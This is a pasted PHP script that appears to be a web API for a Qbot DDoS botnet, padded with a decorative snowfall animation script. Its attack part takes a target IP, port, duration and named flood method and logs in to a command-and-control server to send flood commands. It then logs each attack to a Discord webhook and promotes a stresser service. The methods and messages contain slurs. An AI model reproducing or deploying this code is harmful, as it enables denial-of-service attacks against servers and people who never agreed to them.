· 5 years ago · Oct 25, 2020, 12:44 PM
1<?php
2//Example API: http://host/file.php?key=yourkey&user=username&host=1.2.3.4&port=80&time=20&method=HYDRA-RAPE
3
4set_time_limit(0);
5
6
7//configure
8$webhookurl = "Your Discord URL";
9$apiname = "Your API Name";//this doesn't matter it just means you can change the name of the ting
10$APIKeys = array("94N8OASNCU4OPAF", "EAGOINAION9AB3BA", "PIOJ4R082NUONFA");//type some random shit like this ;)
11$usernames = array("blazing", "hehe", "legendary");//set usernames
12$attackMethods = array("HYDRA-RAPE", "NFO-DOWN", "OVH-MOUL", "GAME-ALL", "OVH-FILL", "R6-KILL", "FN-CRUSH", "test");
13$server = "qbot IP";
14$conport = port;
15$username = "username";
16$password = "password";
17//configure
18
19
20//and by configure i dont mean skid rip :))
21?>
22<!DOCTYPE html>
23<html>
24<head>
25 <script>
26
27/*jslint nomen: true, plusplus: true, sloppy: true, vars: true, white: true */
28/*global window, document, navigator, clearInterval, setInterval */
29
30var snowStorm = (function(window, document) {
31
32 // --- common properties ---
33
34 this.autoStart = true; // Whether the snow should start automatically or not.
35 this.excludeMobile = true; // Snow is likely to be bad news for mobile phones' CPUs (and batteries.) Enable at your own risk.
36 this.flakesMax = 128; // Limit total amount of snow made (falling + sticking)
37 this.flakesMaxActive = 64; // Limit amount of snow falling at once (less = lower CPU use)
38 this.animationInterval = 50; // Theoretical "miliseconds per frame" measurement. 20 = fast + smooth, but high CPU use. 50 = more conservative, but slower
39 this.useGPU = true; // Enable transform-based hardware acceleration, reduce CPU load.
40 this.className = null; // CSS class name for further customization on snow elements
41 this.excludeMobile = true; // Snow is likely to be bad news for mobile phones' CPUs (and batteries.) By default, be nice.
42 this.flakeBottom = null; // Integer for Y axis snow limit, 0 or null for "full-screen" snow effect
43 this.followMouse = false; // Snow movement can respond to the user's mouse
44 this.snowColor = '#fff'; // Don't eat (or use?) yellow snow.
45 this.snowCharacter = '•'; // • = bullet, · is square on some systems etc.
46 this.snowStick = true; // Whether or not snow should "stick" at the bottom. When off, will never collect.
47 this.targetElement = null; // element which snow will be appended to (null = document.body) - can be an element ID eg. 'myDiv', or a DOM node reference
48 this.useMeltEffect = true; // When recycling fallen snow (or rarely, when falling), have it "melt" and fade out if browser supports it
49 this.useTwinkleEffect = false; // Allow snow to randomly "flicker" in and out of view while falling
50 this.usePositionFixed = false; // true = snow does not shift vertically when scrolling. May increase CPU load, disabled by default - if enabled, used only where supported
51 this.usePixelPosition = false; // Whether to use pixel values for snow top/left vs. percentages. Auto-enabled if body is position:relative or targetElement is specified.
52
53 // --- less-used bits ---
54
55 this.freezeOnBlur = true; // Only snow when the window is in focus (foreground.) Saves CPU.
56 this.flakeLeftOffset = 0; // Left margin/gutter space on edge of container (eg. browser window.) Bump up these values if seeing horizontal scrollbars.
57 this.flakeRightOffset = 0; // Right margin/gutter space on edge of container
58 this.flakeWidth = 8; // Max pixel width reserved for snow element
59 this.flakeHeight = 8; // Max pixel height reserved for snow element
60 this.vMaxX = 5; // Maximum X velocity range for snow
61 this.vMaxY = 4; // Maximum Y velocity range for snow
62 this.zIndex = 0; // CSS stacking order applied to each snowflake
63
64 // --- "No user-serviceable parts inside" past this point, yadda yadda ---
65
66 var storm = this,
67 features,
68 // UA sniffing and backCompat rendering mode checks for fixed position, etc.
69 isIE = navigator.userAgent.match(/msie/i),
70 isIE6 = navigator.userAgent.match(/msie 6/i),
71 isMobile = navigator.userAgent.match(/mobile|opera m(ob|in)/i),
72 isBackCompatIE = (isIE && document.compatMode === 'BackCompat'),
73 noFixed = (isBackCompatIE || isIE6),
74 screenX = null, screenX2 = null, screenY = null, scrollY = null, docHeight = null, vRndX = null, vRndY = null,
75 windOffset = 1,
76 windMultiplier = 2,
77 flakeTypes = 6,
78 fixedForEverything = false,
79 targetElementIsRelative = false,
80 opacitySupported = (function(){
81 try {
82 document.createElement('div').style.opacity = '0.5';
83 } catch(e) {
84 return false;
85 }
86 return true;
87 }()),
88 didInit = false,
89 docFrag = document.createDocumentFragment();
90
91 features = (function() {
92
93 var getAnimationFrame;
94
95 /**
96 * hat tip: paul irish
97 * http://paulirish.com/2011/requestanimationframe-for-smart-animating/
98 * https://gist.github.com/838785
99 */
100
101 function timeoutShim(callback) {
102 window.setTimeout(callback, 1000/(storm.animationInterval || 20));
103 }
104
105 var _animationFrame = (window.requestAnimationFrame ||
106 window.webkitRequestAnimationFrame ||
107 window.mozRequestAnimationFrame ||
108 window.oRequestAnimationFrame ||
109 window.msRequestAnimationFrame ||
110 timeoutShim);
111
112 // apply to window, avoid "illegal invocation" errors in Chrome
113 getAnimationFrame = _animationFrame ? function() {
114 return _animationFrame.apply(window, arguments);
115 } : null;
116
117 var testDiv;
118
119 testDiv = document.createElement('div');
120
121 function has(prop) {
122
123 // test for feature support
124 var result = testDiv.style[prop];
125 return (result !== undefined ? prop : null);
126
127 }
128
129 // note local scope.
130 var localFeatures = {
131
132 transform: {
133 ie: has('-ms-transform'),
134 moz: has('MozTransform'),
135 opera: has('OTransform'),
136 webkit: has('webkitTransform'),
137 w3: has('transform'),
138 prop: null // the normalized property value
139 },
140
141 getAnimationFrame: getAnimationFrame
142
143 };
144
145 localFeatures.transform.prop = (
146 localFeatures.transform.w3 ||
147 localFeatures.transform.moz ||
148 localFeatures.transform.webkit ||
149 localFeatures.transform.ie ||
150 localFeatures.transform.opera
151 );
152
153 testDiv = null;
154
155 return localFeatures;
156
157 }());
158
159 this.timer = null;
160 this.flakes = [];
161 this.disabled = false;
162 this.active = false;
163 this.meltFrameCount = 20;
164 this.meltFrames = [];
165
166 this.setXY = function(o, x, y) {
167
168 if (!o) {
169 return false;
170 }
171
172 if (storm.usePixelPosition || targetElementIsRelative) {
173
174 o.style.left = (x - storm.flakeWidth) + 'px';
175 o.style.top = (y - storm.flakeHeight) + 'px';
176
177 } else if (noFixed) {
178
179 o.style.right = (100-(x/screenX*100)) + '%';
180 // avoid creating vertical scrollbars
181 o.style.top = (Math.min(y, docHeight-storm.flakeHeight)) + 'px';
182
183 } else {
184
185 if (!storm.flakeBottom) {
186
187 // if not using a fixed bottom coordinate...
188 o.style.right = (100-(x/screenX*100)) + '%';
189 o.style.bottom = (100-(y/screenY*100)) + '%';
190
191 } else {
192
193 // absolute top.
194 o.style.right = (100-(x/screenX*100)) + '%';
195 o.style.top = (Math.min(y, docHeight-storm.flakeHeight)) + 'px';
196
197 }
198
199 }
200
201 };
202
203 this.events = (function() {
204
205 var old = (!window.addEventListener && window.attachEvent), slice = Array.prototype.slice,
206 evt = {
207 add: (old?'attachEvent':'addEventListener'),
208 remove: (old?'detachEvent':'removeEventListener')
209 };
210
211 function getArgs(oArgs) {
212 var args = slice.call(oArgs), len = args.length;
213 if (old) {
214 args[1] = 'on' + args[1]; // prefix
215 if (len > 3) {
216 args.pop(); // no capture
217 }
218 } else if (len === 3) {
219 args.push(false);
220 }
221 return args;
222 }
223
224 function apply(args, sType) {
225 var element = args.shift(),
226 method = [evt[sType]];
227 if (old) {
228 element[method](args[0], args[1]);
229 } else {
230 element[method].apply(element, args);
231 }
232 }
233
234 function addEvent() {
235 apply(getArgs(arguments), 'add');
236 }
237
238 function removeEvent() {
239 apply(getArgs(arguments), 'remove');
240 }
241
242 return {
243 add: addEvent,
244 remove: removeEvent
245 };
246
247 }());
248
249 function rnd(n,min) {
250 if (isNaN(min)) {
251 min = 0;
252 }
253 return (Math.random()*n)+min;
254 }
255
256 function plusMinus(n) {
257 return (parseInt(rnd(2),10)===1?n*-1:n);
258 }
259
260 this.randomizeWind = function() {
261 var i;
262 vRndX = plusMinus(rnd(storm.vMaxX,0.2));
263 vRndY = rnd(storm.vMaxY,0.2);
264 if (this.flakes) {
265 for (i=0; i<this.flakes.length; i++) {
266 if (this.flakes[i].active) {
267 this.flakes[i].setVelocities();
268 }
269 }
270 }
271 };
272
273 this.scrollHandler = function() {
274 var i;
275 // "attach" snowflakes to bottom of window if no absolute bottom value was given
276 scrollY = (storm.flakeBottom ? 0 : parseInt(window.scrollY || document.documentElement.scrollTop || (noFixed ? document.body.scrollTop : 0), 10));
277 if (isNaN(scrollY)) {
278 scrollY = 0; // Netscape 6 scroll fix
279 }
280 if (!fixedForEverything && !storm.flakeBottom && storm.flakes) {
281 for (i=0; i<storm.flakes.length; i++) {
282 if (storm.flakes[i].active === 0) {
283 storm.flakes[i].stick();
284 }
285 }
286 }
287 };
288
289 this.resizeHandler = function() {
290 if (window.innerWidth || window.innerHeight) {
291 screenX = window.innerWidth - 16 - storm.flakeRightOffset;
292 screenY = (storm.flakeBottom || window.innerHeight);
293 } else {
294 screenX = (document.documentElement.clientWidth || document.body.clientWidth || document.body.scrollWidth) - (!isIE ? 8 : 0) - storm.flakeRightOffset;
295 screenY = storm.flakeBottom || document.documentElement.clientHeight || document.body.clientHeight || document.body.scrollHeight;
296 }
297 docHeight = document.body.offsetHeight;
298 screenX2 = parseInt(screenX/2,10);
299 };
300
301 this.resizeHandlerAlt = function() {
302 screenX = storm.targetElement.offsetWidth - storm.flakeRightOffset;
303 screenY = storm.flakeBottom || storm.targetElement.offsetHeight;
304 screenX2 = parseInt(screenX/2,10);
305 docHeight = document.body.offsetHeight;
306 };
307
308 this.freeze = function() {
309 // pause animation
310 if (!storm.disabled) {
311 storm.disabled = 1;
312 } else {
313 return false;
314 }
315 storm.timer = null;
316 };
317
318 this.resume = function() {
319 if (storm.disabled) {
320 storm.disabled = 0;
321 } else {
322 return false;
323 }
324 storm.timerInit();
325 };
326
327 this.toggleSnow = function() {
328 if (!storm.flakes.length) {
329 // first run
330 storm.start();
331 } else {
332 storm.active = !storm.active;
333 if (storm.active) {
334 storm.show();
335 storm.resume();
336 } else {
337 storm.stop();
338 storm.freeze();
339 }
340 }
341 };
342
343 this.stop = function() {
344 var i;
345 this.freeze();
346 for (i=0; i<this.flakes.length; i++) {
347 this.flakes[i].o.style.display = 'none';
348 }
349 storm.events.remove(window,'scroll',storm.scrollHandler);
350 storm.events.remove(window,'resize',storm.resizeHandler);
351 if (storm.freezeOnBlur) {
352 if (isIE) {
353 storm.events.remove(document,'focusout',storm.freeze);
354 storm.events.remove(document,'focusin',storm.resume);
355 } else {
356 storm.events.remove(window,'blur',storm.freeze);
357 storm.events.remove(window,'focus',storm.resume);
358 }
359 }
360 };
361
362 this.show = function() {
363 var i;
364 for (i=0; i<this.flakes.length; i++) {
365 this.flakes[i].o.style.display = 'block';
366 }
367 };
368
369 this.SnowFlake = function(type,x,y) {
370 var s = this;
371 this.type = type;
372 this.x = x||parseInt(rnd(screenX-20),10);
373 this.y = (!isNaN(y)?y:-rnd(screenY)-12);
374 this.vX = null;
375 this.vY = null;
376 this.vAmpTypes = [1,1.2,1.4,1.6,1.8]; // "amplification" for vX/vY (based on flake size/type)
377 this.vAmp = this.vAmpTypes[this.type] || 1;
378 this.melting = false;
379 this.meltFrameCount = storm.meltFrameCount;
380 this.meltFrames = storm.meltFrames;
381 this.meltFrame = 0;
382 this.twinkleFrame = 0;
383 this.active = 1;
384 this.fontSize = (10+(this.type/5)*10);
385 this.o = document.createElement('div');
386 this.o.innerHTML = storm.snowCharacter;
387 if (storm.className) {
388 this.o.setAttribute('class', storm.className);
389 }
390 this.o.style.color = storm.snowColor;
391 this.o.style.position = (fixedForEverything?'fixed':'absolute');
392 if (storm.useGPU && features.transform.prop) {
393 // GPU-accelerated snow.
394 this.o.style[features.transform.prop] = 'translate3d(0px, 0px, 0px)';
395 }
396 this.o.style.width = storm.flakeWidth+'px';
397 this.o.style.height = storm.flakeHeight+'px';
398 this.o.style.fontFamily = 'arial,verdana';
399 this.o.style.cursor = 'default';
400 this.o.style.overflow = 'hidden';
401 this.o.style.fontWeight = 'normal';
402 this.o.style.zIndex = storm.zIndex;
403 docFrag.appendChild(this.o);
404
405 this.refresh = function() {
406 if (isNaN(s.x) || isNaN(s.y)) {
407 // safety check
408 return false;
409 }
410 storm.setXY(s.o, s.x, s.y);
411 };
412
413 this.stick = function() {
414 if (noFixed || (storm.targetElement !== document.documentElement && storm.targetElement !== document.body)) {
415 s.o.style.top = (screenY+scrollY-storm.flakeHeight)+'px';
416 } else if (storm.flakeBottom) {
417 s.o.style.top = storm.flakeBottom+'px';
418 } else {
419 s.o.style.display = 'none';
420 s.o.style.bottom = '0%';
421 s.o.style.position = 'fixed';
422 s.o.style.display = 'block';
423 }
424 };
425
426 this.vCheck = function() {
427 if (s.vX>=0 && s.vX<0.2) {
428 s.vX = 0.2;
429 } else if (s.vX<0 && s.vX>-0.2) {
430 s.vX = -0.2;
431 }
432 if (s.vY>=0 && s.vY<0.2) {
433 s.vY = 0.2;
434 }
435 };
436
437 this.move = function() {
438 var vX = s.vX*windOffset, yDiff;
439 s.x += vX;
440 s.y += (s.vY*s.vAmp);
441 if (s.x >= screenX || screenX-s.x < storm.flakeWidth) { // X-axis scroll check
442 s.x = 0;
443 } else if (vX < 0 && s.x-storm.flakeLeftOffset < -storm.flakeWidth) {
444 s.x = screenX-storm.flakeWidth-1; // flakeWidth;
445 }
446 s.refresh();
447 yDiff = screenY+scrollY-s.y+storm.flakeHeight;
448 if (yDiff<storm.flakeHeight) {
449 s.active = 0;
450 if (storm.snowStick) {
451 s.stick();
452 } else {
453 s.recycle();
454 }
455 } else {
456 if (storm.useMeltEffect && s.active && s.type < 3 && !s.melting && Math.random()>0.998) {
457 // ~1/1000 chance of melting mid-air, with each frame
458 s.melting = true;
459 s.melt();
460 // only incrementally melt one frame
461 // s.melting = false;
462 }
463 if (storm.useTwinkleEffect) {
464 if (s.twinkleFrame < 0) {
465 if (Math.random() > 0.97) {
466 s.twinkleFrame = parseInt(Math.random() * 8, 10);
467 }
468 } else {
469 s.twinkleFrame--;
470 if (!opacitySupported) {
471 s.o.style.visibility = (s.twinkleFrame && s.twinkleFrame % 2 === 0 ? 'hidden' : 'visible');
472 } else {
473 s.o.style.opacity = (s.twinkleFrame && s.twinkleFrame % 2 === 0 ? 0 : 1);
474 }
475 }
476 }
477 }
478 };
479
480 this.animate = function() {
481 // main animation loop
482 // move, check status, die etc.
483 s.move();
484 };
485
486 this.setVelocities = function() {
487 s.vX = vRndX+rnd(storm.vMaxX*0.12,0.1);
488 s.vY = vRndY+rnd(storm.vMaxY*0.12,0.1);
489 };
490
491 this.setOpacity = function(o,opacity) {
492 if (!opacitySupported) {
493 return false;
494 }
495 o.style.opacity = opacity;
496 };
497
498 this.melt = function() {
499 if (!storm.useMeltEffect || !s.melting) {
500 s.recycle();
501 } else {
502 if (s.meltFrame < s.meltFrameCount) {
503 s.setOpacity(s.o,s.meltFrames[s.meltFrame]);
504 s.o.style.fontSize = s.fontSize-(s.fontSize*(s.meltFrame/s.meltFrameCount))+'px';
505 s.o.style.lineHeight = storm.flakeHeight+2+(storm.flakeHeight*0.75*(s.meltFrame/s.meltFrameCount))+'px';
506 s.meltFrame++;
507 } else {
508 s.recycle();
509 }
510 }
511 };
512
513 this.recycle = function() {
514 s.o.style.display = 'none';
515 s.o.style.position = (fixedForEverything?'fixed':'absolute');
516 s.o.style.bottom = 'auto';
517 s.setVelocities();
518 s.vCheck();
519 s.meltFrame = 0;
520 s.melting = false;
521 s.setOpacity(s.o,1);
522 s.o.style.padding = '0px';
523 s.o.style.margin = '0px';
524 s.o.style.fontSize = s.fontSize+'px';
525 s.o.style.lineHeight = (storm.flakeHeight+2)+'px';
526 s.o.style.textAlign = 'center';
527 s.o.style.verticalAlign = 'baseline';
528 s.x = parseInt(rnd(screenX-storm.flakeWidth-20),10);
529 s.y = parseInt(rnd(screenY)*-1,10)-storm.flakeHeight;
530 s.refresh();
531 s.o.style.display = 'block';
532 s.active = 1;
533 };
534
535 this.recycle(); // set up x/y coords etc.
536 this.refresh();
537
538 };
539
540 this.snow = function() {
541 var active = 0, flake = null, i, j;
542 for (i=0, j=storm.flakes.length; i<j; i++) {
543 if (storm.flakes[i].active === 1) {
544 storm.flakes[i].move();
545 active++;
546 }
547 if (storm.flakes[i].melting) {
548 storm.flakes[i].melt();
549 }
550 }
551 if (active<storm.flakesMaxActive) {
552 flake = storm.flakes[parseInt(rnd(storm.flakes.length),10)];
553 if (flake.active === 0) {
554 flake.melting = true;
555 }
556 }
557 if (storm.timer) {
558 features.getAnimationFrame(storm.snow);
559 }
560 };
561
562 this.mouseMove = function(e) {
563 if (!storm.followMouse) {
564 return true;
565 }
566 var x = parseInt(e.clientX,10);
567 if (x<screenX2) {
568 windOffset = -windMultiplier+(x/screenX2*windMultiplier);
569 } else {
570 x -= screenX2;
571 windOffset = (x/screenX2)*windMultiplier;
572 }
573 };
574
575 this.createSnow = function(limit,allowInactive) {
576 var i;
577 for (i=0; i<limit; i++) {
578 storm.flakes[storm.flakes.length] = new storm.SnowFlake(parseInt(rnd(flakeTypes),10));
579 if (allowInactive || i>storm.flakesMaxActive) {
580 storm.flakes[storm.flakes.length-1].active = -1;
581 }
582 }
583 storm.targetElement.appendChild(docFrag);
584 };
585
586 this.timerInit = function() {
587 storm.timer = true;
588 storm.snow();
589 };
590
591 this.init = function() {
592 var i;
593 for (i=0; i<storm.meltFrameCount; i++) {
594 storm.meltFrames.push(1-(i/storm.meltFrameCount));
595 }
596 storm.randomizeWind();
597 storm.createSnow(storm.flakesMax); // create initial batch
598 storm.events.add(window,'resize',storm.resizeHandler);
599 storm.events.add(window,'scroll',storm.scrollHandler);
600 if (storm.freezeOnBlur) {
601 if (isIE) {
602 storm.events.add(document,'focusout',storm.freeze);
603 storm.events.add(document,'focusin',storm.resume);
604 } else {
605 storm.events.add(window,'blur',storm.freeze);
606 storm.events.add(window,'focus',storm.resume);
607 }
608 }
609 storm.resizeHandler();
610 storm.scrollHandler();
611 if (storm.followMouse) {
612 storm.events.add(isIE?document:window,'mousemove',storm.mouseMove);
613 }
614 storm.animationInterval = Math.max(20,storm.animationInterval);
615 storm.timerInit();
616 };
617
618 this.start = function(bFromOnLoad) {
619 if (!didInit) {
620 didInit = true;
621 } else if (bFromOnLoad) {
622 // already loaded and running
623 return true;
624 }
625 if (typeof storm.targetElement === 'string') {
626 var targetID = storm.targetElement;
627 storm.targetElement = document.getElementById(targetID);
628 if (!storm.targetElement) {
629 throw new Error('Snowstorm: Unable to get targetElement "'+targetID+'"');
630 }
631 }
632 if (!storm.targetElement) {
633 storm.targetElement = (document.body || document.documentElement);
634 }
635 if (storm.targetElement !== document.documentElement && storm.targetElement !== document.body) {
636 // re-map handler to get element instead of screen dimensions
637 storm.resizeHandler = storm.resizeHandlerAlt;
638 //and force-enable pixel positioning
639 storm.usePixelPosition = true;
640 }
641 storm.resizeHandler(); // get bounding box elements
642 storm.usePositionFixed = (storm.usePositionFixed && !noFixed && !storm.flakeBottom); // whether or not position:fixed is to be used
643 if (window.getComputedStyle) {
644 // attempt to determine if body or user-specified snow parent element is relatlively-positioned.
645 try {
646 targetElementIsRelative = (window.getComputedStyle(storm.targetElement, null).getPropertyValue('position') === 'relative');
647 } catch(e) {
648 // oh well
649 targetElementIsRelative = false;
650 }
651 }
652 fixedForEverything = storm.usePositionFixed;
653 if (screenX && screenY && !storm.disabled) {
654 storm.init();
655 storm.active = true;
656 }
657 };
658
659 function doDelayedStart() {
660 window.setTimeout(function() {
661 storm.start(true);
662 }, 20);
663 // event cleanup
664 storm.events.remove(isIE?document:window,'mousemove',doDelayedStart);
665 }
666
667 function doStart() {
668 if (!storm.excludeMobile || !isMobile) {
669 doDelayedStart();
670 }
671 // event cleanup
672 storm.events.remove(window, 'load', doStart);
673 }
674
675 // hooks for starting the snow
676 if (storm.autoStart) {
677 storm.events.add(window, 'load', doStart, false);
678 }
679
680 return this;
681
682}(window, document));
683
684 </script>
685<style>
686body {
687 background-color: black;
688 color: white;
689}
690</style>
691</head>
692</html>
693<?php
694
695$activekeys = array();
696
697if (!isset($_GET["key"]) ||!isset($_GET["user"]) || !isset($_GET["host"]) || !isset($_GET["port"]) || !isset($_GET["method"]) || !isset($_GET["time"]))
698
699 die("You are missing a parameter");
700
701$key = $_GET['key'];
702$usernamez = $_GET['user'];
703$method = $_GET['method'];
704$target = $_GET['host'];
705$port = $_GET['port'];
706$time = $_GET['time'];
707
708if (!in_array($key, $APIKeys)) die("Invalid API key");
709if (!in_array($usernamez, $usernames)) die("Invalid username");
710if (!in_array($method, $attackMethods)) die("Invalid attack method attack
711");
712
713if($method == "HYDRA-RAPE"){$command = "!* CCD $target $port $time";}
714if($method == "NFO-DOWN"){$command = "!* CCD $target $port $time";}
715if($method == "OVH-MOUL"){$command = "!* STD $target $port $time";}
716if($method == "GAME-ALL"){$command = "!* GAME $target $port $time 32 1024 10";}
717if($method == "OVH-FILL"){$command = "!* GAME $target $port $time 32 1024 10";}
718if($method == "R6-KILL"){$command = "!* GAME $target $port $time 32 1024 10";}
719if($method == "FN-CRUSH"){$command = "!* GAME $target $port $time 32 1024 10";}
720if($method == "test"){$command = "im testing shit lmao";}
721
722
723$sock = fsockopen($server, $conport, $errno, $errstr, 2);
724
725if(!$sock){
726 echo "Couldn't Connect To CNC Server...";
727} else{
728 echo "------------- API RESPONCE -------------<br>";
729 fwrite($sock, $username . "\n");
730 fwrite($sock, $password . "\n");
731 if(fread($sock, 512)){
732 }
733 fwrite($sock, $command . "\n");
734$timestamp = date("c", strtotime("now"));
735
736$json_data = json_encode([
737 // Message
738 "content" => "Someone sent attack faggot",
739
740 // Username
741 "username" => "Qbot API",
742
743 // Avatar URL.
744 // Uncoment to replace image set in webhook
745 "avatar_url" => "https://blog.eccouncil.org/wp-content/uploads/2019/06/9-of-the-Biggest-Botnet-Attacks-of-the-21st-Century-750x330.jpg?size=512",
746
747 // Text-to-speech
748 "tts" => false,
749
750 // File upload
751 // "file" => "",
752
753 // Embeds Array
754 "embeds" => [
755 [
756 // Embed Title
757 "title" => "Qbot attack logs",
758
759 // Embed Type
760 "type" => "rich",
761
762 // Embed Description
763 "description" => "Attack Sent Using ***$method***",
764
765 // URL of title link
766 "url" => "https://protonstress.vip",
767
768 // Timestamp of embed must be formatted as ISO8601
769 "timestamp" => $timestamp,
770
771 // Embed left border color in HEX
772 "color" => hexdec( "3366ff" ),
773
774 // Footer
775 "footer" => [
776 "text" => "Coded by blazing",
777 "icon_url" => "https://blog.eccouncil.org/wp-content/uploads/2019/06/9-of-the-Biggest-Botnet-Attacks-of-the-21st-Century-750x330.jpg?size=375"
778 ],
779
780 // Image to send
781 "image" => [
782 "url" => "https://blog.eccouncil.org/wp-content/uploads/2019/06/9-of-the-Biggest-Botnet-Attacks-of-the-21st-Century-750x330.jpg?size=600"
783 ],
784
785 //Thumbnail
786 "thumbnail" => [
787 "url" => "https://blog.eccouncil.org/wp-content/uploads/2019/06/9-of-the-Biggest-Botnet-Attacks-of-the-21st-Century-750x330.jpg?size=400"
788 ],
789
790 // Author
791 "author" => [
792 "name" => "Protonstress.vip",
793 "url" => "https://protonstress.vip/"
794 ],
795
796 // Additional Fields array
797 "fields" => [
798 // Field 1
799 [
800 "name" => "IP:",
801 "value" => "$target",
802 "inline" => false
803 ],
804 [
805 "name" => "Port:",
806 "value" => "$port",
807 "inline" => false
808 ],
809 [
810 "name" => "Time:",
811 "value" => "$time",
812 "inline" => false
813 ],
814 [
815 "name" => "Username:",
816 "value" => "$usernamez",
817 "inline" => false
818 ],
819 [
820 "name" => "APIKEY: ",
821 "value" => "$key",
822 "inline" => false
823 ]
824 // Etc..
825 ]
826 ]
827 ]
828
829], JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE );
830
831
832$ch = curl_init( $webhookurl );
833/////////////////////////////////////
834$carl = "| By Blazing.";
835curl_setopt( $ch, CURLOPT_HTTPHEADER, array('Content-type: application/json'));
836curl_setopt( $ch, CURLOPT_POST, 1);
837curl_setopt( $ch, CURLOPT_POSTFIELDS, $json_data);
838curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1);
839curl_setopt( $ch, CURLOPT_HEADER, 0);
840curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1);
841
842$response = curl_exec( $ch );
843// If you need to debug, or find out why you can't send message uncomment line below, and execute script.
844// echo $response;
845curl_close( $ch );
846curl_close($curl);
847 fclose($sock);
848 echo "> $command $carl";
849 echo "<br>";
850 echo "----------------------------------------<br>";
851 echo "<br>";
852 echo "<br>";
853 echo "api by $apiname | coded by blazing";
854 echo "<br>";
855 echo "<br>";
856 echo "Available methods<br>$attackMethods";
857}
858
859?>
860<html>
861 <canvas id="canvas"></canvas>
862</html>
863//@blazing_runs